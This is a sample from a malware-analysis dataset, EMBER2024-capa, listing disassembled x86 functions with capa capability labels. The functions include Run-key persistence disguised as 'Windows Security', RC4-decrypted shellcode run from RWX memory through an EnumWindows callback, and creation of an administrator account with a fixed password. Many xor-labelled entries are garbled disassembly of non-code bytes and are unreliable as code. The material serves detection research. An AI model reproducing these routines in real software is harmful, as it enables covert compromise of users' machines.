joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406335
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
inc ecx
cmp byte [esi + 6], 0
jne 0x4061d5
inc ecx
cmp byte [esi + 2], 0
jne 0x406217
dec eax
mov dword [ebx], 0
dec ecx
lea edi, [esi + 0x40]
dec eax
mov ecx, edi
call dword [0x20fada]
test al, al
je 0x4062c7
dec eax
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x18]
dec ecx
sub dword [esi + 0xa98], eax
dec eax
mov eax, dword [esi]
dec eax
cmp eax, ebx
je 0x4062d4
dec eax
bswap eax
dec eax
mov dword [ebx], eax
dec eax
mov dword [esi], ebx
mov eax, dword [esi + 0x18]
mov ecx, eax
and ecx, 0xefffffff
mov dword [esi + 0x18], ecx
test eax, 0x3ffe
je 0x4062d7
mov edx, 0x3ffe
lea ecx, [eax + edx]
and ecx, edx
mov edx, eax
and edx, 0xefffc001
or edx, ecx
mov dword [esi + 0x18], edx
test al, 1
jne 0x406099
test ecx, ecx
jne 0x4060a6
mov edx, 1
dec eax
mov ecx, esi
call 0x4ecd10
dec eax
mov ecx, edi
dec eax
add esp, 0x20
pop ebx
pop edi
pop esi
inc ecx
pop esi
inc ecx
pop edi
dec eax
jmp dword [0x20f90d]
dec eax
mov eax, ebx
dec eax
shl eax, 0x34
je 0x406391
dec esp
lea edi, [ebx - 4]
dec eax
mov eax, dword [esi + 0x10]
inc esi
adc byte [ecx - 0x73], cl
dec esi
dec eax
dec eax
cmp ecx, eax
ja 0x406022
dec ecx
lea edx, [esi + 0xa48]
dec eax
cmp edx, eax
jb 0x406022
mov edx, dword [0x2264aa]
dec eax
mov edi, dword [0x58]
dec eax
mov edx, dword [edi + edx*8]
dec eax
mov edi, dword [edx + 0x120]
dec eax
cmp edi, 2
jb 0x406022
dec eax
sub eax, ecx
dec eax
sar eax, 3
dec eax
mov ecx, 0xcccccccd
int3
dec eax
mov ecx, edi
call 0x4e9b60
jmp 0x40603e
int3
int3
daa
xlatb
and dword [eax], eax
dec eax
mov eax, ebx
dec esp
sub eax, edx
dec eax
shr eax, 0x15
dec ecx
dec eax
shl ecx, 0xd
dec ecx
add eax, ecx
inc cx
cmp dword [eax + eax*2], 0xfffffffe
jne 0x40600c
dec eax
mov eax, ebx
dec eax
mov ecx, ebx
dec eax
shr ecx, 3
and cl, 0x3e
mov edx, 3
dec eax
shl edx, cl
dec eax
and eax, 0xffe00000
dec eax
not edx
dec eax
mov ecx, ebx
dec eax
shr ecx, 6
and ecx, 0x7ff8
invalid
dec eax
mov eax, ebx
dec eax
and eax, 0xffe00000
dec eax
mov ecx, ebx
dec eax
shr ecx, 9
and ecx, 0xff8
dec esp
lea edi, [ecx + eax]
dec ecx
add edi, 0x2000
add byte [eax], al

Function at 0x4063b0
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
inc ecx
mov eax, dword [edi]
cmp eax, 1
jne 0x4063b7
inc ecx
mov eax, dword [edi]
mov ecx, eax
and ecx, 0xfffffffe
invalid
add byte [eax], al
jmp 0x4061e6
test byte [esi + 0x1b], 8
jne 0x40647f
dec eax
mov eax, dword [esi + 0x10]
inc esp
mov eax, dword [eax + 0x18]
inc ecx
mov eax, dword [esi + 8]
dec ecx
sub eax, eax
dec eax
mov ecx, edi
mov dl, 0xef
call 0x525420
jmp 0x4061f2
dec esp
mov eax, dword [esi + 0x20]
jmp 0x4063c9
Function at 0x4080a3
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
dec eax
neg eax
nop dword [eax]
dec eax
add eax, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
movups xmm1, xmmword [ecx + eax]
dec eax
add eax, 0x20
aesdec xmm2, xmm0
aesdec xmm3, xmm0
aesdec xmm4, xmm0
aesdec xmm5, xmm0
movups xmm0, xmmword [ecx + eax - 0x10]
jne 0x4080ad
aesdec xmm2, xmm1
aesdec xmm3, xmm1
aesdec xmm4, xmm1
aesdec xmm5, xmm1
aesdeclast xmm2, xmm0
aesdeclast xmm3, xmm0
aesdeclast xmm4, xmm0
aesdeclast xmm5, xmm0
repz ret

Function at 0x40813e
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
call 0xf12f90a9
aesenc xmm4, xmm1
pxor xmm7, xmm0
movups xmm0, xmmword [ecx + eax]
dec eax
add eax, 0x10
jmp 0x408173
Function at 0x401000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push pe_nt_image_headers32
xor edi, edi
mov dword [ebp - 0x208], edx
lea eax, [ebp - 0x204]
push edi
push eax
call fcn.00402020
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00402020
mov edx, dword [ebp + 8]
add esp, 0x18
xor eax, eax
nop word [eax + eax]
mov ecx, eax
mov byte [ebp + eax - 0x104], al
and ecx, 0x7f
mov cl, byte [ecx + edx]
mov byte [ebp + eax - 0x204], cl
inc eax
cmp eax, 0x100
jl 0x401050
xor esi, esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, byte [ebp + esi - 0x204]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401096
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x401070
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x208], ebx
jbe 0x40112f
inc esi
and esi, 0x800000ff
jns 0x4010d3
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [ebp + esi - 0x104]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x4010ef
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], dl
movzx ecx, byte [ebp + esi - 0x104]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [0x413290]
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp - 0x208]
jb 0x4010c2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401331
mov esp, ebp
pop ebp
ret

Function at 0x401140
Capabilities:
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
test ecx, ecx
je 0x40118c
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x401223
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x40122a
test esi, esi
pop esi
je 0x401215
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00402020
add esp, 0xc
lea eax, [ebp - 0x104]
push pe_nt_image_headers32
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401215
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4011e3
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
push 1
push 0
push str.Windows_Security
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401331
mov esp, ebp
pop ebp
ret
push 1
call fcn.00402a4d
call dword [sym.imp.ole32.dll_CoUninitialize]
push 1
call fcn.00402a4d
int3
Function at 0x401250
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
push esi
push edi
push 0xa
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x401318
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0xc], eax
test eax, eax
je 0x401318
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401318
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x401318
mov ecx, 0x22
lea edi, [esp + 0x10]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.00401140
mov esi, dword [esp + 0xc]
push 0x40
push 0x3000
add esi, 0xffffff78
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebx + 0x88]
mov dword [0x413290], eax
push ecx
push eax
call fcn.0040a910
add esp, 8
lea eax, [esp + 0x1c]
mov edx, esi
push eax
call section..text
add esp, 8
push 0
push 0x401240
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [esp + 0x9c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401331
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40894b
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
or edi, edi
sub ecx, ecx
call fcn.00408969
inc edi
sub edi, ecx
xor dword [ebx], esi
add ebx, 1
cmp ebx, edx
jne fcn.0040894b
ret
Function at 0x476089
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x478f10
call fcn.004767c8
push 1
call fcn.0047632c
pop ecx
test al, al
jne 0x475f32
push 7
call fcn.00476593
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004762f7
mov byte [ebp - 0x24], al
mov eax, dword [0x49dd84]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x475f2b
test eax, eax
jne 0x475f9c
mov dword [0x49dd84], ecx
push 0x4783d8
push 0x4783c8
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x475f7f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x476083
push 0x4783c4
push 0x4783bc
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x49dd84], 2
jmp 0x475fa1
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00476489
pop ecx
call fcn.00476587
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x475fd1
push esi
call fcn.004763fc
pop ecx
test al, al
je 0x475fd1
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.004767c2
call esi
call fcn.0047658d
mov esi, eax
cmp dword [esi], edi
je 0x475fef
push esi
call fcn.004763fc
pop ecx
test al, al
je 0x475fef
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.004766a8
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.004766db
test al, al
jne 0x476028
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x476031
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.004764a6
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x476083
call fcn.0047680e
ret
call fcn.00475da3
jmp 0x475f13

Function at 0x401000
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x20
lea eax, [ebp - 0x24]
push eax
call fcn.00401060
add esp, 8
mov dword [ebp - 0x24], str.user
mov dword [ebp - 0x20], str.Passw0rd_
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], 0x10000
push 0
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
call sub.NETAPI32.dll_NetUserAdd
mov dword [ebp - 4], str.user
push 1
lea edx, [ebp - 4]
push edx
push 3
push str.Administrators
push 0
call sub.NETAPI32.dll_NetLocalGroupAddMembers
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4d4894
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x259b46d5
or ch, byte [eax - 0x6d]
xchg ebx, eax
sbb al, 0xed
shl byte [edi], 0xfb
xor esi, ecx
jae 0x4d4921
jecxz 0x4d489b
xchg byte [eax - 0x65], bl
xor eax, edi
xor al, byte [eax - 0x5b97a40b]
push es
imul esp, edi, 0x65
wait
mov ah, 0x61
aaa
sbb dword [edx - 0xb], 0x543aca37
insd dword es:[edi], dx
movsd dword es:[edi], dword [esi]
shr ebp, cl
out 0xc7, eax
xchg ecx, eax
and byte [ebp + 0x1b2e4de8], dl
push ecx
in eax, dx
test al, 0xf3
mov eax, 0x5525ea20
push 0x6a
wait
cmp bh, dh
jle 0x4d4935
invalid
sbb bl, ch
shl dh, 0x14
xchg esi, eax
test dword [eax - 0x2a8f5003], eax
movsb byte es:[edi], byte [esi]
dec esi
and byte [edi + 0x1c7d66ec], 0x38
invalid
cmp dh, al
mov ebx, 0x4b6c6b1c
pop ebx
inc esp
mov dword [ebp - 0x6b], esp
stosb byte es:[edi], al
test byte [ebx], 0xd3
inc esi
add dword [ecx], 0x6997e63e
and dword [esi + ecx*8 + 0x56], edi
xor eax, 0x1f82660e
ficomp word [bx + si]
push esi
sbb eax, dword [esi]
sbb byte [esi + 0x1b], dl
push es
push ebx
push esi
cmp esp, dword [edx]
mov word [eax - 0x28], cs
lcall 0xd6f5, 0xa44ea072
lds edi, [esp + esi - 0x5b7bb547]
push ebx
aaa
xor ecx, dword [ecx + 0x3a]
popfd
call 0x966ec988
lds edx, [esp + edi*4]
jp 0x4d4957
mov esp, 0xe8b2d77a
mov dl, 0xe8
push ecx
cmp al, 0x6f
or ah, bl
adc dword [esi + 0x48], 0xffffff93
jmp 0x4d497d

Function at 0x4d5053
Capabilities:
Encode data using xor

Disassembly:
invalid
invalid
push ss
sub ebx, dword [ebx - 0x3c]
xchg esi, eax
sbb al, byte [edi]
mov ah, 0xda
or eax, 0x22ba0654
jae 0x4d500e
pop ebx
jbe 0x4d5057
jae 0x4d5038
dec eax
movsb byte es:[edi], byte [esi]
sal byte [eax + 0x583f78ed], 0xa6
aas
pop eax
cmpsb byte [esi], byte es:[edi]
cdq
lds edx, [edx - 0x58]
mov ecx, 0xd5a6c9be
iret
push eax
std
jg 0x4d501c
mov al, byte [esi + 0x5f7d35ae]
sub eax, 0x8ab280b
scasb al, byte es:[edi]
rol byte [esi - 0x5aab78b5], cl
sub ebx, 0xffffff95
or bl, byte [ebx]
js 0x4d500d
test byte [edi - 0x740989b5], bl
or al, 0xdb
inc edi
adc ah, bh
or dword [esi + 0x4c], esi
xor eax, 0xcea71655
pop ebx
dec ebp
mov ebp, 0xdbcecd87
sbb byte [ecx + 0xec19545], bl
push ecx
dec esp
lodsd eax, dword [esi]
push esp
push cs
in eax, dx
or bl, cl
fadd st(5)
push ebx
cld
push eax
les ebp, [ebp + 0x3f068634]
jne 0x4d503b
inc ebp
mov edx, 0xd5e5c47e
movsd dword es:[edi], dword [esi]
rcl byte [eax + 0x4b0a9521], cl
sti
mov dword [eax], ebx
pop es
dec ebp
jae 0x4d50dd
inc esi
sub al, 0xbe
sti
salc
dec ebp
xor al, 0xa4
cmp ah, 0xf0
jne 0x4d50bd
sar ebp, 1
mov cs, word [edi + 0x3db0de93]
adc ah, byte [0xf0db17ed]
inc eax
sub byte [edi + 1], ah
cmp esi, edx
sub ah, byte [ebp - 0x2d]
inc edi
push ecx
rol dword [edi + 0x51], cl
lodsd eax, dword [esi]
xchg dword [eax], ecx
wait
aad 0xab
imul edx, dword [edi + 0x7b], 0x4d
std
cmp al, 0x4e
push ss
retf
Function at 0x55c408
Capabilities:
Encode data using xor

Disassembly:
add dh, 0xd6
push edi
fmul dword [ebp - 0x5f]
sbb byte [esi], cl
invalid
jecxz 0x55c451
adc al, 0xb6
test eax, eax
sub dh, byte [ecx + 0x79]
push ebp
xor byte [esi + 0x20], ch
inc esi
daa
loope 0x55c48c
lcall 0xb75a, 0x339b0aa7
wait
xor ebx, dword [edx - 0x49]
jnp 0x55c3a5
push esi
stosd dword es:[edi], eax
mov ch, bh
cdq
cmpsd dword [esi], dword es:[edi]
bound esi, qword [ebx + 0x23a38673]
ja 0x55c41c
int1
and cl, byte [0xd69061e4]
arpl word [0x813203f2], si
and esi, dword [edx]
mov byte [0x90343dcd], al
xor ah, byte [edx - 0x6fcbc233]
cmpsd dword [esi], dword es:[edi]
salc
cmp al, 0xc7
pop ds
push cs
add cl, dl
inc eax
jbe 0x55c43f
and byte [edx + edi + 0x1d], al
out 0xf5, al
adc dword [esi + 0x23], edx
inc esi
pop ebp
inc esp
cmp bl, byte [0x5611f5e6]
and eax, dword [esi + 0x65]
pop ebp
and eax, dword [0xd2cff0f3]
mov al, 0xf8
scasb al, byte es:[edi]
rol edi, cl
adc al, byte [ebx + 0x1e]
xchg ebx, eax
invalid
fist word [esi - 0x40219d5d]
mov ebx, dword [eax - 0x22964be]
cwde
inc edx
wait
salc
std
call 0x7365fc23
adc ah, byte [esi]
daa
and esp, esp
pop ss
jg 0x55c4fb
push ebp
imul ebx
mov edx, 0xc1cf32b2
aam 0xe4
adc al, byte [edx - 0x264825ed]
push edi
test eax, 0xa3287d12
xor ch, byte [eax + ecx + 0x66]
xor eax, 0x4e4c503d
sub eax, 0x57d7c640
rcl dh, cl
in eax, dx
add eax, dword [edx - 0x1e15316b]
inc edi
jecxz 0x55c485
add al, byte [edx - 0x48142e2d]
sbb al, 0x2e
inc edx
mov bh, 0x1c
inc edx
inc edi
arpl word [esi], sp
jecxz 0x55c4d3
dec esi
xchg dword [ebx - 0x2d3e66af], esi
mov bl, 0x6e
xchg ebx, eax
movsd dword es:[edi], dword [esi]
invalid
add dword [ebx], 0x63
adc edi, dword [ebx]
retf

Function at 0x55dda1
Capabilities:
Encode data using xor

Disassembly:
je 0x55dda5
clc
mov ebx, esp
mov ebx, esp
sbb byte [ebx - 0x7fde8909], ch
and byte [ebp - 0x4e], dl
aaa
xor byte [0xdaad7a6d], dh
ficom dword [ebx]
sbb byte [eax - 0x71], bl
inc ecx
cdq
insb byte es:[edi], dx
push cs
cmpsb byte [esi], byte es:[edi]
pop esi
inc esi
aas
xchg ebp, eax
cld
insd dword es:[edi], dx
lds ebx, [edi + 0x73]
cmp byte [ebx + eax + 0x42], bl
jns 0x55dda3
and eax, dword [edi - 0x4fc5e344]
invalid
Function at 0x56d23c
Capabilities:
Encode data using xor

Disassembly:
scasb al, byte es:[edi]
retf
jno 0x56d189
salc
mov dl, 0xdf
xchg edi, eax
and byte [ebx], dl
arpl word [edi + 0x35e454d0], si
push edi
add dword [edx + 0x5ba78721], 0x64e4932f
inc byte [esi + 0x33b5ca85]
mov dword [edi + 0x5754d930], 0x9c69e895
sbb dh, byte [edx + 0x79]
aam 0x91
xor eax, edi
xchg dword [eax], esi
fst dword [edi + edx*2 - 0x6b]
call 0x72716e44
jns 0x56d1b1
xchg ecx, eax
salc
daa
cmpsd dword [esi], dword es:[edi]
aad 0xd4
test eax, 0x4d0c57ec
jno 0x56d1ce
sar al, cl
in eax, 0xec
invalid
cdq
xor eax, edi
inc edx
sub byte [edx - 0x80], al
ja 0x56d259
out 0xa7, eax
jbe 0x56d1b2
inc esp
wait
mov byte [0xf1a84d35], al
loop 0x56d20d
cmpsd dword [esi], dword es:[edi]
invalid
pop ebx
mov word [ecx], es
inc esp
mov dh, 0xbd
mov eax, dword [0x17b0298d]
pop ds
loop 0x56d214
int 0x67
pop ss
pop ss
pop ss
loop 0x56d253
into
mov ah, 0x32
mov ebp, 0x352b5654
inc esp
jb 0x56d2c3
xor eax, 0x336c7244
add eax, dword [esi + eax*8]
xor eax, dword [ebx]
add al, 0xc6
mov eax, dword [0xac76117c]
loop 0x56d239
xlatb
push ds
outsd dx, dword [esi]
xor byte [esi + 0x360d15], 0xe2
xchg edi, eax
or eax, 0x3685dcd6
dec edx
xchg edx, eax
jno 0x56d287
jae 0x56d261
mov byte [0x9f12117], al
adc eax, 0xd6f5f723
div ebp
salc
daa
invalid
std
insb byte es:[edi], dx
and dword [0xdd13d488], esp
rcl ch, cl
pop ebx
jo 0x56d27f
loope 0x56d310
cmpsd dword [esi], dword es:[edi]
add al, 0x1b
jge 0x56d246
out dx, eax
fnstsw word [ebx + 0x3d]
push ebx
add al, 0xb9
mov ebx, 0x7d2b1395
push edi
les ebx, [ebx - 0x1671561a]
lcall 0xc7f, 0x9423253f
jmp 0x237c124e
jg 0x56d2c3
xchg edi, eax
xchg edi, eax
test eax, 0x9f1eee70
mov dl, 0x27
in eax, 0xf5
mov dl, 0x2a
mov esp, 0x1611b3ce
push ebp
sub bh, byte [esi + ecx*8 + 0x551611b3]
sahf
jae 0x56d273
scasb al, byte es:[edi]
sal byte [edx], cl
loope 0x56d2af
add al, 0xcc
push esp
ret 0xcd7
loop 0x56d2cd
arpl word [edi - 0x13], sp
bnd jp 0x56d305
xchg dword [eax - 0xd88d1c9], ecx
or edx, dword [edx*4 - 0x9e787c5]
pop edi
ja 0x56d2b5
aaa
cmp byte [eax - 0x74], 0x29
movsb byte es:[edi], byte [esi]
cmc
xchg ecx, eax
neg byte [esi]
stc
salc
mov esi, 0x3c9762cf
mov al, byte [0x2283e97f]
cmp eax, 0x24c1e1c0
mov esi, 0xea9d3c4f
inc ecx
mov esp, 0x49a52898
test al, 0xf6
loop 0x56d2e7
cmp al, 0xa0
jg 0x56d2fd
and dword [edx], 0x3d
shl cl, 0xc1
and al, 0xbe
dec edi
cmp al, 0x9d
ljmp 0x2898
mov eax, 0x36caa6d2
out dx, eax
sti
push es
ja 0x56d3b0
lodsb al, byte fs:[esi]
stosd dword es:[edi], eax
scasb al, byte es:[edi]
fdiv dword [edx]
xor byte [eax - 0x4dc36d1a], ch
invalid
mov ah, 0xb2
sbb dword [0xac9eab7], ebp
leave
outsb dx, byte [esi]
xlatb
popal
imul ebx, dword [eax - 0x29], 0xa6bd61b1
wait
ret
Function at 0x5944dc
Capabilities:
Encode data using xor

Disassembly:
int3
jae 0x5944f2
retf
push ds
pop ebx
popfd
xchg ecx, eax
aas
sbb ebx, eax
stc
or bl, dl
jne 0x5944da
jp 0x59455c
mov ah, byte [ecx + 0x2833e65f]
push edx
fisubr dword [edx - 0x72904604]
mov al, byte [0xbd3f17a5]
push ebp
int3
sti
xor al, 0xc1
jno 0x59455f
sbb dword [edx], esi
xor byte [ebp - 0x61], bh
wait
mov dl, 0x5b
call 0xfb6907a6
inc esi
test eax, 0xaf3b08fb
scasb al, byte es:[edi]
dec ebp
mov esi, 0x8a56ebac
jb 0x594561
imul eax, dword [ecx - 0x5e], 0x8f2f59ec
xor al, 0x91
stosd dword es:[edi], eax
or al, 0xc7
aad 0x56
add byte [edx + 0x11], bl
invalid

Function at 0x59afac
Capabilities:
Encode data using xor

Disassembly:
sbb dword [ebx + 0x46], esi
sbb dword [ebp - 0x7e], edx
mov esi, 0xdcba3674
in eax, dx
mov byte [ecx + 0x367d94b], ch
push edi
aaa
mov eax, 0x90dbb7c3
mov bh, 0xdb
nop
not byte [edx + eax*8 + 0x52472f9f]
pop dword [edx + ebp*2 + 0x1e2bdc88]
cdq
out dx, al
dec ebx
xor al, 0xb5
leave
push esp
aad 0xa3
push 0xffffffffffffff96
mov byte [0xd5b7b94b], al
scasb al, byte es:[edi]
js 0x59af50
sub byte [esi], cl
xchg ebx, eax
fisttp dword [eax - 0x32]
xchg edx, eax
stosb byte es:[edi], al
sub al, 0x92
push cs
push cs
sbb dword [edx], ebp
inc edi
stosd dword es:[edi], eax
adc dword [ebx - 0x55], 0x49
into
rcr dword [esi + 0x15d2cc18], cl
mov esi, 0x8f01055c
int1
shl dword [ebp - 0x55206c4f], cl
scasb al, byte es:[edi]
pop ecx
push ebp
cmp byte [ebx], dl
adc eax, 0x734e21e4
and esi, ebp
neg dword [ebx + 0x75a6e9c7]
cmpsb byte [esi], byte es:[edi]
jne 0x59af3a
loope 0x59b01d
cmpsb byte [esi], byte es:[edi]
jne 0x59af3a
loope 0x59b01d
push ebp
xchg byte [ecx + 0x23a3f86b], bl
xchg byte [edi + 0x57], bl
dec ebp
mov ebp, esi
lahf
jnp 0x59affa
cmp dl, byte [ecx - 0x33]
popfd
push esi
and eax, 0xb3c3c143
inc esi
adc bl, byte [esi]
invalid
and dh, cl
xchg esi, eax
xchg edx, eax
std
call 0x729058cf
mov al, byte [0x4b2906be]
les esp, [eax - 0x5403a678]
jmp 0x2ae220cb
or esp, dword gs:[ebp - 0xc]
or bl, byte [0x74280f9a]
mov al, 0xa1
push edx
mov byte [0x55a74d3a], al
dec dword [eax]
mov eax, dword [0xade91b92]
int 0x98
sbb dword [ecx - 0x15], ecx
out dx, al
push ss
or dword [ebx - 0x1142d24c], 0xfffffff3
pop esp
shl byte [ebx - 0x25], 1
sub ebx, ecx
and ecx, ebp
scasb al, byte es:[edi]
mov dword [esi], edx
jmp 0x4d00ca3f
Function at 0x5d9c9c
Capabilities:
Encode data using xor

Disassembly:
jnp 0x5d9cfb
mov bh, 0x83
bound ecx, qword ss:[esi + 0x4f]
arpl word [ecx - 0x338d1276], cx
in al, dx
xor al, 0x30
cmc
xor eax, dword [ecx + eax*8 - 0x1c4a3eeb]
pop eax
rcl dword [ebp - 0x3b8e46ac], cl
stosb byte es:[edi], al
and al, 0x1c
xchg esi, eax
inc esi
sal dh, cl
invalid
idiv dh
ficomp dword [ebx - 6]
xchg esp, eax
or al, 0xe4
adc al, 0xd5
push cs
fsub dword [edi + 0x6f]
dec esp
add al, 0xcb
invalid
fisub dword [esi]
and eax, 0x2527c7f0
jle 0x5d9d81
jecxz 0x5d9d75
push edx
adc eax, 0x382c4e49
and al, 0xe9
xor eax, dword [esi]
clc
add eax, 0x9b4db0d0
dec dword [ecx]
dec ecx
jns 0x5d9d75
enter 0xffffffffffffefe9, 0xffffffffffffffbb
jno 0x5d9d99
mov ecx, 0x93a2adbc
jbe 0x5d9cc2
imul edi, dword [ecx - 0x74], 0x4e
xchg esi, eax
wait
adc eax, ebx
invalid
out 0x3c, eax
cwde
or ebp, 0x3cfc248f
xrelease xchg byte [edi - 0x2a], ah
salc
xor dword [ebp - 0x1d], eax
invalid
push ecx
cwde
call 0xda5d31e1
wait
jp 0x5d9df7
mov ebx, 0x3d038c75
pmulhw mm0, qword [edx]
mov dl, 0x53
ret 0x60cf
or edx, ebx
pop ds
test cx, bp
inc esp
mov bl, 0x3a
xchg esp, eax
invalid

Function at 0x5ecc10
Capabilities:
Encode data using xor

Disassembly:
bound esp, qword [ebp + edx*8 + 4]
xchg esp, eax
adc dl, dh
mov ch, 0xdf
xor dword [eax - 0x3f], 0xc71947a1
sti
dec ecx
sal dword [ebp + 0x56], 1
xor byte [eax], 0xd3
insb byte es:[edi], dx
and eax, 0x8d257807
mov dword [0x5bb39952], eax
loopne 0x5ecc17
into
xchg byte [ebp - 0x7a765a4f], al
mov ch, 0xff
and edi, dword [edx]
into
lds ebx, [ebx - 0x1f8c71e2]
xchg ebx, eax
adc eax, dword [edi + 0x12]
dec esp
test dword [esi + 0x2d], esi
sub eax, 0x5223d10e
aas
mov esi, 0x3eb2966d
popfd
mov eax, 0xca457437
outsb dx, byte [esi]
adc dh, dh
push ds
imul ebp, eax, 0x61
or al, 0x21
add eax, dword [edx + eax*8 - 0x6a]
ret 0xf334

Function at 0x5f04c0
Capabilities:
Encode data using xor

Disassembly:
dec ebx
daa
dec edx
cmpsd dword [esi], dword es:[edi]
mov bl, 0xe0
daa
inc eax
or ch, al
invalid